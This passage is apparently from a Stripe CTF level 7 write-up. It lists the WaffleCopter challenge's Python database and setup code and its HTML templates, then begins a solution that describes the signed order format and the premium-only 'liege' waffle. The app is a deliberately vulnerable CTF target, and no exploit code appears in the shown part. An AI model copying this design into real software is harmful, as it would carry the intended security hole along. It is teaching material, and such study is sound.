<a name="n23" href="https://stripe-ctf.com/levels/7#n23"></a>23
<a name="n24" href="https://stripe-ctf.com/levels/7#n24"></a>24
<a name="n25" href="https://stripe-ctf.com/levels/7#n25"></a>25
<a name="n26" href="https://stripe-ctf.com/levels/7#n26"></a>26
<a name="n27" href="https://stripe-ctf.com/levels/7#n27"></a>27
<a name="n28" href="https://stripe-ctf.com/levels/7#n28"></a>28
<a name="n29" href="https://stripe-ctf.com/levels/7#n29"></a>29
<strong><a name="n30" href="https://stripe-ctf.com/levels/7#n30"></a>30</strong>
<a name="n31" href="https://stripe-ctf.com/levels/7#n31"></a>31
<a name="n32" href="https://stripe-ctf.com/levels/7#n32"></a>32
<a name="n33" href="https://stripe-ctf.com/levels/7#n33"></a>33
<a name="n34" href="https://stripe-ctf.com/levels/7#n34"></a>34
<a name="n35" href="https://stripe-ctf.com/levels/7#n35"></a>35
<a name="n36" href="https://stripe-ctf.com/levels/7#n36"></a>36
<a name="n37" href="https://stripe-ctf.com/levels/7#n37"></a>37
<a name="n38" href="https://stripe-ctf.com/levels/7#n38"></a>38
<a name="n39" href="https://stripe-ctf.com/levels/7#n39"></a>39
<strong><a name="n40" href="https://stripe-ctf.com/levels/7#n40"></a>40</strong>
<a name="n41" href="https://stripe-ctf.com/levels/7#n41"></a>41
<a name="n42" href="https://stripe-ctf.com/levels/7#n42"></a>42
<a name="n43" href="https://stripe-ctf.com/levels/7#n43"></a>43
<a name="n44" href="https://stripe-ctf.com/levels/7#n44"></a>44
<a name="n45" href="https://stripe-ctf.com/levels/7#n45"></a>45
<a name="n46" href="https://stripe-ctf.com/levels/7#n46"></a>46
<a name="n47" href="https://stripe-ctf.com/levels/7#n47"></a>47
<a name="n48" href="https://stripe-ctf.com/levels/7#n48"></a>48
<a name="n49" href="https://stripe-ctf.com/levels/7#n49"></a>49
<strong><a name="n50" href="https://stripe-ctf.com/levels/7#n50"></a>50</strong>
<a name="n51" href="https://stripe-ctf.com/levels/7#n51"></a>51
<a name="n52" href="https://stripe-ctf.com/levels/7#n52"></a>52
<a name="n53" href="https://stripe-ctf.com/levels/7#n53"></a>53
<a name="n54" href="https://stripe-ctf.com/levels/7#n54"></a>54
<a name="n55" href="https://stripe-ctf.com/levels/7#n55"></a>55
<a name="n56" href="https://stripe-ctf.com/levels/7#n56"></a>56
<a name="n57" href="https://stripe-ctf.com/levels/7#n57"></a>57
<a name="n58" href="https://stripe-ctf.com/levels/7#n58"></a>58
<a name="n59" href="https://stripe-ctf.com/levels/7#n59"></a>59
<strong><a name="n60" href="https://stripe-ctf.com/levels/7#n60"></a>60</strong>
<a name="n61" href="https://stripe-ctf.com/levels/7#n61"></a>61
<a name="n62" href="https://stripe-ctf.com/levels/7#n62"></a>62
<a name="n63" href="https://stripe-ctf.com/levels/7#n63"></a>63
<a name="n64" href="https://stripe-ctf.com/levels/7#n64"></a>64
<a name="n65" href="https://stripe-ctf.com/levels/7#n65"></a>65
<a name="n66" href="https://stripe-ctf.com/levels/7#n66"></a>66
<a name="n67" href="https://stripe-ctf.com/levels/7#n67"></a>67
<a name="n68" href="https://stripe-ctf.com/levels/7#n68"></a>68
<a name="n69" href="https://stripe-ctf.com/levels/7#n69"></a>69
<strong><a name="n70" href="https://stripe-ctf.com/levels/7#n70"></a>70</strong>
<a name="n71" href="https://stripe-ctf.com/levels/7#n71"></a>71
<a name="n72" href="https://stripe-ctf.com/levels/7#n72"></a>72
<a name="n73" href="https://stripe-ctf.com/levels/7#n73"></a>73
<a name="n74" href="https://stripe-ctf.com/levels/7#n74"></a>74</pre>
</td>
<td>
<pre>import os
import sqlite3
import sys

class NotFound(Exception):
    pass
class ManyFound(Exception):
    pass

# for app.secret_key
def rewrite_entropy_file(path):
    f = open(path, 'w')
    f.write(os.urandom(24))
    f.close()

class DB(object):
    def __init__(self, database):
        self.conn = sqlite3.connect(database,
                                    detect_types=sqlite3.PARSE_DECLTYPES)
        self.conn.row_factory = sqlite3.Row
        self.cursor = self.conn.cursor()
        self.debug = False

    def log(self, *args):
        if self.debug:
            for i in args:
                sys.stderr.write(str(i))
            sys.stderr.write('\n')

    def commit(self):
        self.conn.commit()

    def close(self):
        self.cursor.close()
        self.conn.close()

    def select(self, table, where=None):
        if where is None:
            where = {}
        self.do_select(table, where)
        return map(dict, self.cursor.fetchall())

    def select_one(self, table, where=None):
        where = where or {}
        self.do_select(table, where)

        row = self.cursor.fetchone()
        if row is None:
            raise NotFound

        if self.cursor.fetchone() is not None:
            raise ManyFound

        return dict(row)

    def do_select(self, table, where=None):
        where = where or {}
        where_clause = ' AND '.join('%s=?' % key for key in where.iterkeys())
        values = where.values()
        q = 'select * from ' + str(table)
        if where_clause:
            q += ' where ' + where_clause
        self.log(q, '&lt;==', values)
        self.cursor.execute(q, values)

    def insert(self, table, data):
        cols = ', '.join(data.keys())
        vals = data.values()
        placeholders = ', '.join('?' for i in data)
        q = 'insert into %s (%s) values (%s)' % (table, cols, placeholders)
        self.log(q, '&lt;==', vals)
        self.cursor.execute(q, vals)
        self.commit()
        return self.cursor.rowcount</pre>
</td>
</tr>
</tbody>
</table>
The contents of <code>settings.py</code>:
<table>
<tbody>
<tr>
<td title="double click to toggle">
<pre><a name="n1" href="https://stripe-ctf.com/levels/7#n1"></a>1
<a name="n2" href="https://stripe-ctf.com/levels/7#n2"></a>2
<a name="n3" href="https://stripe-ctf.com/levels/7#n3"></a>3
<a name="n4" href="https://stripe-ctf.com/levels/7#n4"></a>4
<a name="n5" href="https://stripe-ctf.com/levels/7#n5"></a>5
<a name="n6" href="https://stripe-ctf.com/levels/7#n6"></a>6
<a name="n7" href="https://stripe-ctf.com/levels/7#n7"></a>7
<a name="n8" href="https://stripe-ctf.com/levels/7#n8"></a>8
<a name="n9" href="https://stripe-ctf.com/levels/7#n9"></a>9
<strong><a name="n10" href="https://stripe-ctf.com/levels/7#n10"></a>10</strong>
<a name="n11" href="https://stripe-ctf.com/levels/7#n11"></a>11
<a name="n12" href="https://stripe-ctf.com/levels/7#n12"></a>12</pre>
</td>
<td>
<pre>import os

DEBUG = False
database = os.path.join(os.path.dirname(__file__), 'wafflecopter.db')
entropy_file = os.path.join(os.path.dirname(__file__), 'entropy.dat')

url_root = ''

try:
    from local_settings import *
except ImportError:
    pass</pre>
</td>
</tr>
</tbody>
</table>
The contents of <code>initialize_db.py</code>:
<table>
<tbody>
<tr>
<td title="double click to toggle">
<pre><a name="n1" href="https://stripe-ctf.com/levels/7#n1"></a>1
<a name="n2" href="https://stripe-ctf.com/levels/7#n2"></a>2
<a name="n3" href="https://stripe-ctf.com/levels/7#n3"></a>3
<a name="n4" href="https://stripe-ctf.com/levels/7#n4"></a>4
<a name="n5" href="https://stripe-ctf.com/levels/7#n5"></a>5
<a name="n6" href="https://stripe-ctf.com/levels/7#n6"></a>6
<a name="n7" href="https://stripe-ctf.com/levels/7#n7"></a>7
<a name="n8" href="https://stripe-ctf.com/levels/7#n8"></a>8
<a name="n9" href="https://stripe-ctf.com/levels/7#n9"></a>9
<strong><a name="n10" href="https://stripe-ctf.com/levels/7#n10"></a>10</strong>
<a name="n11" href="https://stripe-ctf.com/levels/7#n11"></a>11
<a name="n12" href="https://stripe-ctf.com/levels/7#n12"></a>12
<a name="n13" href="https://stripe-ctf.com/levels/7#n13"></a>13
<a name="n14" href="https://stripe-ctf.com/levels/7#n14"></a>14
<a name="n15" href="https://stripe-ctf.com/levels/7#n15"></a>15
<a name="n16" href="https://stripe-ctf.com/levels/7#n16"></a>16
<a name="n17" href="https://stripe-ctf.com/levels/7#n17"></a>17
<a name="n18" href="https://stripe-ctf.com/levels/7#n18"></a>18
<a name="n19" href="https://stripe-ctf.com/levels/7#n19"></a>19
<strong><a name="n20" href="https://stripe-ctf.com/levels/7#n20"></a>20</strong>
<a name="n21" href="https://stripe-ctf.com/levels/7#n21"></a>21
<a name="n22" href="https://stripe-ctf.com/levels/7#n22"></a>22
<a name="n23" href="https://stripe-ctf.com/levels/7#n23"></a>23
<a name="n24" href="https://stripe-ctf.com/levels/7#n24"></a>24
<a name="n25" href="https://stripe-ctf.com/levels/7#n25"></a>25
<a name="n26" href="https://stripe-ctf.com/levels/7#n26"></a>26
<a name="n27" href="https://stripe-ctf.com/levels/7#n27"></a>27
<a name="n28" href="https://stripe-ctf.com/levels/7#n28"></a>28
<a name="n29" href="https://stripe-ctf.com/levels/7#n29"></a>29
<strong><a name="n30" href="https://stripe-ctf.com/levels/7#n30"></a>30</strong>
<a name="n31" href="https://stripe-ctf.com/levels/7#n31"></a>31
<a name="n32" href="https://stripe-ctf.com/levels/7#n32"></a>32
<a name="n33" href="https://stripe-ctf.com/levels/7#n33"></a>33
<a name="n34" href="https://stripe-ctf.com/levels/7#n34"></a>34
<a name="n35" href="https://stripe-ctf.com/levels/7#n35"></a>35
<a name="n36" href="https://stripe-ctf.com/levels/7#n36"></a>36
<a name="n37" href="https://stripe-ctf.com/levels/7#n37"></a>37
<a name="n38" href="https://stripe-ctf.com/levels/7#n38"></a>38
<a name="n39" href="https://stripe-ctf.com/levels/7#n39"></a>39
<strong><a name="n40" href="https://stripe-ctf.com/levels/7#n40"></a>40</strong>
<a name="n41" href="https://stripe-ctf.com/levels/7#n41"></a>41
<a name="n42" href="https://stripe-ctf.com/levels/7#n42"></a>42
<a name="n43" href="https://stripe-ctf.com/levels/7#n43"></a>43
<a name="n44" href="https://stripe-ctf.com/levels/7#n44"></a>44
<a name="n45" href="https://stripe-ctf.com/levels/7#n45"></a>45
<a name="n46" href="https://stripe-ctf.com/levels/7#n46"></a>46
<a name="n47" href="https://stripe-ctf.com/levels/7#n47"></a>47
<a name="n48" href="https://stripe-ctf.com/levels/7#n48"></a>48
<a name="n49" href="https://stripe-ctf.com/levels/7#n49"></a>49
<strong><a name="n50" href="https://stripe-ctf.com/levels/7#n50"></a>50</strong>
<a name="n51" href="https://stripe-ctf.com/levels/7#n51"></a>51
<a name="n52" href="https://stripe-ctf.com/levels/7#n52"></a>52
<a name="n53" href="https://stripe-ctf.com/levels/7#n53"></a>53
<a name="n54" href="https://stripe-ctf.com/levels/7#n54"></a>54
<a name="n55" href="https://stripe-ctf.com/levels/7#n55"></a>55
<a name="n56" href="https://stripe-ctf.com/levels/7#n56"></a>56
<a name="n57" href="https://stripe-ctf.com/levels/7#n57"></a>57
<a name="n58" href="https://stripe-ctf.com/levels/7#n58"></a>58
<a name="n59" href="https://stripe-ctf.com/levels/7#n59"></a>59
<strong><a name="n60" href="https://stripe-ctf.com/levels/7#n60"></a>60</strong>
<a name="n61" href="https://stripe-ctf.com/levels/7#n61"></a>61
<a name="n62" href="https://stripe-ctf.com/levels/7#n62"></a>62
<a name="n63" href="https://stripe-ctf.com/levels/7#n63"></a>63
<a name="n64" href="https://stripe-ctf.com/levels/7#n64"></a>64
<a name="n65" href="https://stripe-ctf.com/levels/7#n65"></a>65
<a name="n66" href="https://stripe-ctf.com/levels/7#n66"></a>66
<a name="n67" href="https://stripe-ctf.com/levels/7#n67"></a>67
<a name="n68" href="https://stripe-ctf.com/levels/7#n68"></a>68
<a name="n69" href="https://stripe-ctf.com/levels/7#n69"></a>69
<strong><a name="n70" href="https://stripe-ctf.com/levels/7#n70"></a>70</strong>
<a name="n71" href="https://stripe-ctf.com/levels/7#n71"></a>71
<a name="n72" href="https://stripe-ctf.com/levels/7#n72"></a>72
<a name="n73" href="https://stripe-ctf.com/levels/7#n73"></a>73
<a name="n74" href="https://stripe-ctf.com/levels/7#n74"></a>74
<a name="n75" href="https://stripe-ctf.com/levels/7#n75"></a>75
<a name="n76" href="https://stripe-ctf.com/levels/7#n76"></a>76
<a name="n77" href="https://stripe-ctf.com/levels/7#n77"></a>77
<a name="n78" href="https://stripe-ctf.com/levels/7#n78"></a>78
<a name="n79" href="https://stripe-ctf.com/levels/7#n79"></a>79
<strong><a name="n80" href="https://stripe-ctf.com/levels/7#n80"></a>80</strong>
<a name="n81" href="https://stripe-ctf.com/levels/7#n81"></a>81
<a name="n82" href="https://stripe-ctf.com/levels/7#n82"></a>82
<a name="n83" href="https://stripe-ctf.com/levels/7#n83"></a>83
<a name="n84" href="https://stripe-ctf.com/levels/7#n84"></a>84
<a name="n85" href="https://stripe-ctf.com/levels/7#n85"></a>85
<a name="n86" href="https://stripe-ctf.com/levels/7#n86"></a>86
<a name="n87" href="https://stripe-ctf.com/levels/7#n87"></a>87
<a name="n88" href="https://stripe-ctf.com/levels/7#n88"></a>88
<a name="n89" href="https://stripe-ctf.com/levels/7#n89"></a>89
<strong><a name="n90" href="https://stripe-ctf.com/levels/7#n90"></a>90</strong>
<a name="n91" href="https://stripe-ctf.com/levels/7#n91"></a>91
<a name="n92" href="https://stripe-ctf.com/levels/7#n92"></a>92
<a name="n93" href="https://stripe-ctf.com/levels/7#n93"></a>93
<a name="n94" href="https://stripe-ctf.com/levels/7#n94"></a>94
<a name="n95" href="https://stripe-ctf.com/levels/7#n95"></a>95
<a name="n96" href="https://stripe-ctf.com/levels/7#n96"></a>96
<a name="n97" href="https://stripe-ctf.com/levels/7#n97"></a>97
<a name="n98" href="https://stripe-ctf.com/levels/7#n98"></a>98
<a name="n99" href="https://stripe-ctf.com/levels/7#n99"></a>99
<strong><a name="n100" href="https://stripe-ctf.com/levels/7#n100"></a>100</strong>
<a name="n101" href="https://stripe-ctf.com/levels/7#n101"></a>101
<a name="n102" href="https://stripe-ctf.com/levels/7#n102"></a>102
<a name="n103" href="https://stripe-ctf.com/levels/7#n103"></a>103
<a name="n104" href="https://stripe-ctf.com/levels/7#n104"></a>104
<a name="n105" href="https://stripe-ctf.com/levels/7#n105"></a>105
<a name="n106" href="https://stripe-ctf.com/levels/7#n106"></a>106
<a name="n107" href="https://stripe-ctf.com/levels/7#n107"></a>107
<a name="n108" href="https://stripe-ctf.com/levels/7#n108"></a>108
<a name="n109" href="https://stripe-ctf.com/levels/7#n109"></a>109
<strong><a name="n110" href="https://stripe-ctf.com/levels/7#n110"></a>110</strong>
<a name="n111" href="https://stripe-ctf.com/levels/7#n111"></a>111
<a name="n112" href="https://stripe-ctf.com/levels/7#n112"></a>112
<a name="n113" href="https://stripe-ctf.com/levels/7#n113"></a>113
<a name="n114" href="https://stripe-ctf.com/levels/7#n114"></a>114
<a name="n115" href="https://stripe-ctf.com/levels/7#n115"></a>115
<a name="n116" href="https://stripe-ctf.com/levels/7#n116"></a>116
<a name="n117" href="https://stripe-ctf.com/levels/7#n117"></a>117
<a name="n118" href="https://stripe-ctf.com/levels/7#n118"></a>118
<a name="n119" href="https://stripe-ctf.com/levels/7#n119"></a>119
<strong><a name="n120" href="https://stripe-ctf.com/levels/7#n120"></a>120</strong>
<a name="n121" href="https://stripe-ctf.com/levels/7#n121"></a>121
<a name="n122" href="https://stripe-ctf.com/levels/7#n122"></a>122
<a name="n123" href="https://stripe-ctf.com/levels/7#n123"></a>123
<a name="n124" href="https://stripe-ctf.com/levels/7#n124"></a>124
<a name="n125" href="https://stripe-ctf.com/levels/7#n125"></a>125
<a name="n126" href="https://stripe-ctf.com/levels/7#n126"></a>126
<a name="n127" href="https://stripe-ctf.com/levels/7#n127"></a>127
<a name="n128" href="https://stripe-ctf.com/levels/7#n128"></a>128
<a name="n129" href="https://stripe-ctf.com/levels/7#n129"></a>129</pre>
</td>
<td>
<pre>#!/usr/bin/env python
import sys
from datetime import datetime
from random import SystemRandom

import bcrypt
import sqlite3

import client
import db
import settings

conn = db.DB(settings.database)
conn.debug = True
c = conn.cursor

db.rewrite_entropy_file(settings.entropy_file)

rand = SystemRandom()

def rand_choice(alphabet, length):
    return ''.join(rand.choice(alphabet) for i in range(length))

alphanum = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
def rand_alnum(length):
    return rand_choice(alphanum, length)

def main(level_password):
    create_tables()
    add_users()
    add_waffles(level_password)
    add_logs()

def add_users():
    add_user(1, 'larry', rand_alnum(16), 1)
    add_user(2, 'randall', rand_alnum(16), 1)
    add_user(3, 'alice', rand_alnum(16), 0)
    add_user(4, 'bob', rand_alnum(16), 0)
    add_user(5, 'ctf', 'password', 0)

def add_waffles(level_password):
    add_waffle('liege', 1, level_password)
    add_waffle('dream', 1, rand_alnum(14))
    add_waffle('veritaffle', 0, rand_alnum(14))
    add_waffle('chicken', 1, rand_alnum(14))
    add_waffle('belgian', 0, rand_alnum(14))
    add_waffle('brussels', 0, rand_alnum(14))
    add_waffle('eggo', 0, rand_alnum(14))

def add_logs():
    gen_log(1, '/orders', {'waffle': 'eggo', 'count': 10,
                           'lat': 37.351, 'long': -119.827})
    gen_log(1, '/orders', {'waffle': 'chicken', 'count': 2,
                           'lat': 37.351, 'long': -119.827})
    gen_log(2, '/orders', {'waffle': 'dream', 'count': 2,
                           'lat': 42.39561, 'long': -71.13051},
            date=datetime(2007, 9, 23, 14, 38, 00))
    gen_log(3, '/orders', {'waffle': 'veritaffle', 'count': 1,
                           'lat': 42.376, 'long': -71.116})

def create_tables():
    c.execute('drop table if exists users')
    c.execute('''
    CREATE TABLE users(
    id int not null primary key,
    name varchar(255) not null,
    password varchar(255) not null,
    premium int not null,
    secret varchar(255) not null,
    unique (name)
    )
    ''')

    c.execute('drop table if exists waffles')
    c.execute('''
    CREATE TABLE waffles(
    name varchar(255) not null primary key,
    premium int not null,
    confirm varchar(255) not null
    )
    ''')

    c.execute('drop table if exists logs')
    c.execute('''
    CREATE TABLE logs(
    user_id int not null,
    path varchar(255) not null,
    body text not null,
    date timestamp not null default current_timestamp
    )
    ''')
    c.execute('create index user_id on logs (user_id)')
    c.execute('create index date on logs (date)')

def add_user(uid, username, password, premium):
    hashed = bcrypt.hashpw(password, bcrypt.gensalt(10))
    secret = rand_alnum(14)
    data = {'id': uid, 'name': username, 'password': hashed,
            'premium': premium, 'secret': secret}
    conn.insert('users', data)

def get_user(uid):
    return conn.select_one('users', {'id': uid})

def add_waffle(name, premium, confirm):
    data = {'name': name, 'premium': premium, 'confirm': confirm}
    conn.insert('waffles', data)

def gen_log(user_id, path, params, date=None):
    user = get_user(user_id)

    # generate signature using client library
    cl = client.Client(None, user_id, user['secret'])
    body = cl._make_post(params)

    # prepare data for insert
    data = {'user_id': user_id, 'path': path, 'body': body}

    if date:
        data['date'] = date

    conn.insert('logs', data)

if __name__ == '__main__':
    if len(sys.argv) &lt; 2:
        print 'usage: initialize_db.py LEVEL_PASSWORD'
        sys.exit(1)

    main(sys.argv[1])</pre>
</td>
</tr>
</tbody>
</table>
The contents of <code>templates/index.html</code>:
<table>
<tbody>
<tr>
<td title="double click to toggle">
<pre><a name="n1" href="https://stripe-ctf.com/levels/7#n1"></a>1
<a name="n2" href="https://stripe-ctf.com/levels/7#n2"></a>2
<a name="n3" href="https://stripe-ctf.com/levels/7#n3"></a>3
<a name="n4" href="https://stripe-ctf.com/levels/7#n4"></a>4
<a name="n5" href="https://stripe-ctf.com/levels/7#n5"></a>5
<a name="n6" href="https://stripe-ctf.com/levels/7#n6"></a>6
<a name="n7" href="https://stripe-ctf.com/levels/7#n7"></a>7
<a name="n8" href="https://stripe-ctf.com/levels/7#n8"></a>8
<a name="n9" href="https://stripe-ctf.com/levels/7#n9"></a>9
<strong><a name="n10" href="https://stripe-ctf.com/levels/7#n10"></a>10</strong>
<a name="n11" href="https://stripe-ctf.com/levels/7#n11"></a>11
<a name="n12" href="https://stripe-ctf.com/levels/7#n12"></a>12
<a name="n13" href="https://stripe-ctf.com/levels/7#n13"></a>13
<a name="n14" href="https://stripe-ctf.com/levels/7#n14"></a>14
<a name="n15" href="https://stripe-ctf.com/levels/7#n15"></a>15
<a name="n16" href="https://stripe-ctf.com/levels/7#n16"></a>16
<a name="n17" href="https://stripe-ctf.com/levels/7#n17"></a>17
<a name="n18" href="https://stripe-ctf.com/levels/7#n18"></a>18
<a name="n19" href="https://stripe-ctf.com/levels/7#n19"></a>19
<strong><a name="n20" href="https://stripe-ctf.com/levels/7#n20"></a>20</strong>
<a name="n21" href="https://stripe-ctf.com/levels/7#n21"></a>21
<a name="n22" href="https://stripe-ctf.com/levels/7#n22"></a>22
<a name="n23" href="https://stripe-ctf.com/levels/7#n23"></a>23
<a name="n24" href="https://stripe-ctf.com/levels/7#n24"></a>24
<a name="n25" href="https://stripe-ctf.com/levels/7#n25"></a>25
<a name="n26" href="https://stripe-ctf.com/levels/7#n26"></a>26
<a name="n27" href="https://stripe-ctf.com/levels/7#n27"></a>27
<a name="n28" href="https://stripe-ctf.com/levels/7#n28"></a>28
<a name="n29" href="https://stripe-ctf.com/levels/7#n29"></a>29
<strong><a name="n30" href="https://stripe-ctf.com/levels/7#n30"></a>30</strong>
<a name="n31" href="https://stripe-ctf.com/levels/7#n31"></a>31
<a name="n32" href="https://stripe-ctf.com/levels/7#n32"></a>32
<a name="n33" href="https://stripe-ctf.com/levels/7#n33"></a>33</pre>
</td>
<td>
<pre>&lt;!doctype html&gt;
&lt;html&gt;
  &lt;head&gt;
    &lt;title&gt;WaffleCopter&lt;/title&gt;
    &lt;style&gt;
      a {
        color: black;
      }
      a:hover {
        color: blue;
      }
    &lt;/style&gt;
  &lt;/head&gt;
  &lt;body&gt;
    &lt;h1&gt;WaffleCopter [beta]&lt;/h1&gt;
    &lt;p&gt;Welcome, {{user['name']}}!&lt;/p&gt;
    &lt;h3&gt;Your API credentials&lt;/h3&gt;
    &lt;ul&gt;
      &lt;li&gt;&lt;strong&gt;endpoint:&lt;/strong&gt; &lt;code&gt;{{ endpoint }}&lt;/code&gt;&lt;/li&gt;
      &lt;li&gt;&lt;strong&gt;user_id:&lt;/strong&gt; &lt;code&gt;{{ user['id'] }}&lt;/code&gt;&lt;/li&gt;
      &lt;li&gt;&lt;strong&gt;secret:&lt;/strong&gt; &lt;code&gt;{{ user['secret'] }}&lt;/code&gt;&lt;/li&gt;
    &lt;/ul&gt;
    &lt;h3&gt;Available waffles&lt;/h3&gt;
    &lt;ul&gt;
      {% for waffle in waffles %}
      &lt;li&gt;
        {{ waffle['name'] }}{% if waffle['premium'] %} (premium){% endif %}
      &lt;/li&gt;
      {% endfor %}
    &lt;/ul&gt;
    &lt;h3&gt;&lt;a href="./logs/{{ user['id'] }}"&gt;API Request logs&lt;/a&gt;&lt;/h3&gt;
  &lt;/body&gt;
&lt;/html&gt;</pre>
</td>
</tr>
</tbody>
</table>
The contents of <code>templates/login.html</code>:
<table>
<tbody>
<tr>
<td title="double click to toggle">
<pre><a name="n1" href="https://stripe-ctf.com/levels/7#n1"></a>1
<a name="n2" href="https://stripe-ctf.com/levels/7#n2"></a>2
<a name="n3" href="https://stripe-ctf.com/levels/7#n3"></a>3
<a name="n4" href="https://stripe-ctf.com/levels/7#n4"></a>4
<a name="n5" href="https://stripe-ctf.com/levels/7#n5"></a>5
<a name="n6" href="https://stripe-ctf.com/levels/7#n6"></a>6
<a name="n7" href="https://stripe-ctf.com/levels/7#n7"></a>7
<a name="n8" href="https://stripe-ctf.com/levels/7#n8"></a>8
<a name="n9" href="https://stripe-ctf.com/levels/7#n9"></a>9
<strong><a name="n10" href="https://stripe-ctf.com/levels/7#n10"></a>10</strong>
<a name="n11" href="https://stripe-ctf.com/levels/7#n11"></a>11
<a name="n12" href="https://stripe-ctf.com/levels/7#n12"></a>12
<a name="n13" href="https://stripe-ctf.com/levels/7#n13"></a>13
<a name="n14" href="https://stripe-ctf.com/levels/7#n14"></a>14
<a name="n15" href="https://stripe-ctf.com/levels/7#n15"></a>15
<a name="n16" href="https://stripe-ctf.com/levels/7#n16"></a>16
<a name="n17" href="https://stripe-ctf.com/levels/7#n17"></a>17
<a name="n18" href="https://stripe-ctf.com/levels/7#n18"></a>18
<a name="n19" href="https://stripe-ctf.com/levels/7#n19"></a>19
<strong><a name="n20" href="https://stripe-ctf.com/levels/7#n20"></a>20</strong>
<a name="n21" href="https://stripe-ctf.com/levels/7#n21"></a>21
<a name="n22" href="https://stripe-ctf.com/levels/7#n22"></a>22
<a name="n23" href="https://stripe-ctf.com/levels/7#n23"></a>23
<a name="n24" href="https://stripe-ctf.com/levels/7#n24"></a>24
<a name="n25" href="https://stripe-ctf.com/levels/7#n25"></a>25</pre>
</td>
<td>
<pre>&lt;!doctype html&gt;
&lt;html&gt;
  &lt;head&gt;
    &lt;title&gt;WaffleCopter - Login&lt;/title&gt;
  &lt;/head&gt;
  &lt;body&gt;
    &lt;h1&gt;WaffleCopter [beta]&lt;/h1&gt;
    {% if error %}
    &lt;p style="color: red"&gt;{{ error }}&lt;/p&gt;
    {% endif %}
    &lt;form action="./login" method="post"&gt;
      &lt;table&gt;
        &lt;tr&gt;
          &lt;td&gt;username:&lt;/td&gt;&lt;td&gt;&lt;input type="text" name="username" /&gt;&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td&gt;password:&lt;/td&gt;&lt;td&gt;&lt;input type="password" name="password" /&gt;&lt;/td&gt;
        &lt;/tr&gt;
        &lt;tr&gt;
          &lt;td colspan=2&gt;&lt;input type="submit" value="log in" /&gt;&lt;/td&gt;
        &lt;/tr&gt;
      &lt;/table&gt;
    &lt;/form&gt;
  &lt;/body&gt;
&lt;/html&gt;</pre>
</td>
</tr>
</tbody>
</table>
The contents of <code>templates/logs.html</code>:
<table>
<tbody>
<tr>
<td title="double click to toggle">
<pre><a name="n1" href="https://stripe-ctf.com/levels/7#n1"></a>1
<a name="n2" href="https://stripe-ctf.com/levels/7#n2"></a>2
<a name="n3" href="https://stripe-ctf.com/levels/7#n3"></a>3
<a name="n4" href="https://stripe-ctf.com/levels/7#n4"></a>4
<a name="n5" href="https://stripe-ctf.com/levels/7#n5"></a>5
<a name="n6" href="https://stripe-ctf.com/levels/7#n6"></a>6
<a name="n7" href="https://stripe-ctf.com/levels/7#n7"></a>7
<a name="n8" href="https://stripe-ctf.com/levels/7#n8"></a>8
<a name="n9" href="https://stripe-ctf.com/levels/7#n9"></a>9
<strong><a name="n10" href="https://stripe-ctf.com/levels/7#n10"></a>10</strong>
<a name="n11" href="https://stripe-ctf.com/levels/7#n11"></a>11
<a name="n12" href="https://stripe-ctf.com/levels/7#n12"></a>12
<a name="n13" href="https://stripe-ctf.com/levels/7#n13"></a>13
<a name="n14" href="https://stripe-ctf.com/levels/7#n14"></a>14
<a name="n15" href="https://stripe-ctf.com/levels/7#n15"></a>15
<a name="n16" href="https://stripe-ctf.com/levels/7#n16"></a>16
<a name="n17" href="https://stripe-ctf.com/levels/7#n17"></a>17
<a name="n18" href="https://stripe-ctf.com/levels/7#n18"></a>18
<a name="n19" href="https://stripe-ctf.com/levels/7#n19"></a>19
<strong><a name="n20" href="https://stripe-ctf.com/levels/7#n20"></a>20</strong>
<a name="n21" href="https://stripe-ctf.com/levels/7#n21"></a>21
<a name="n22" href="https://stripe-ctf.com/levels/7#n22"></a>22
<a name="n23" href="https://stripe-ctf.com/levels/7#n23"></a>23
<a name="n24" href="https://stripe-ctf.com/levels/7#n24"></a>24
<a name="n25" href="https://stripe-ctf.com/levels/7#n25"></a>25
<a name="n26" href="https://stripe-ctf.com/levels/7#n26"></a>26
<a name="n27" href="https://stripe-ctf.com/levels/7#n27"></a>27
<a name="n28" href="https://stripe-ctf.com/levels/7#n28"></a>28
<a name="n29" href="https://stripe-ctf.com/levels/7#n29"></a>29
<strong><a name="n30" href="https://stripe-ctf.com/levels/7#n30"></a>30</strong>
<a name="n31" href="https://stripe-ctf.com/levels/7#n31"></a>31
<a name="n32" href="https://stripe-ctf.com/levels/7#n32"></a>32
<a name="n33" href="https://stripe-ctf.com/levels/7#n33"></a>33
<a name="n34" href="https://stripe-ctf.com/levels/7#n34"></a>34
<a name="n35" href="https://stripe-ctf.com/levels/7#n35"></a>35
<a name="n36" href="https://stripe-ctf.com/levels/7#n36"></a>36</pre>
</td>
<td>
<pre>&lt;!doctype html&gt;
&lt;html&gt;
  &lt;head&gt;
    &lt;title&gt;WaffleCopter - Logs&lt;/title&gt;
    &lt;style type="text/css"&gt;
      table#logs {
        border-collapse: collapse;
      }
      #logs td,th {
        border: 1px solid #CCC;
        padding: 5px;
      }
      #home {
        text-decoration: none;
        color: #000;
      }
      #home:hover {
        color: blue;
      }
    &lt;/style&gt;
  &lt;/head&gt;
  &lt;body&gt;
    &lt;h1&gt;&lt;a id=home href="../"&gt;WaffleCopter [beta]&lt;/a&gt;&lt;/h1&gt;
    &lt;h3&gt;API Request Logs&lt;/h3&gt;
    &lt;table id=logs&gt;
      &lt;tr&gt;&lt;th&gt;date&lt;/th&gt;&lt;th&gt;path&lt;/th&gt;&lt;th&gt;body&lt;/th&gt;&lt;/tr&gt;
      {% for log in logs %}
      &lt;tr&gt;
        &lt;td&gt;{{ log['date'].strftime('%F %R:%S') }}&lt;/td&gt;
        &lt;td&gt;{{ log['path'] }}&lt;/td&gt;
        &lt;td&gt;&lt;code&gt;{{ log['body'].encode('unicode-escape') }}&lt;/code&gt;&lt;/td&gt;
      &lt;/tr&gt;
      {% endfor %}
    &lt;/table&gt;
  &lt;/body&gt;
&lt;/html&gt;</pre>
</td>
</tr>
</tbody>
</table>
&nbsp;

&nbsp;

<strong>Solution</strong>

This one was my favorite, since 90%

of it&#8217;s progress was cryptographic. It&#8217;s a service that gets requests of the following form:
<blockquote>count=1&amp;lat=100&amp;user_id=5&amp;long=100&amp;waffle=eggo|sig:36c698a40093329045ca293d6e0c985411d366d1</blockquote>
On a certain endpoint (URL) and sends you a waffle! The request describes the number of waffles, latitude and longitude of the target, the user_id requesting it and the type of waffle. There are three waffle types only served to premium users, one of them is named <strong>liege</strong>. We are not a premium user but we have to make a valid order for liege to get our flag.

If you simply order a liege on your user_id, you would get
<blockquote>
<pre>that waffle requires a premium subscription</pre>
</blockquote>
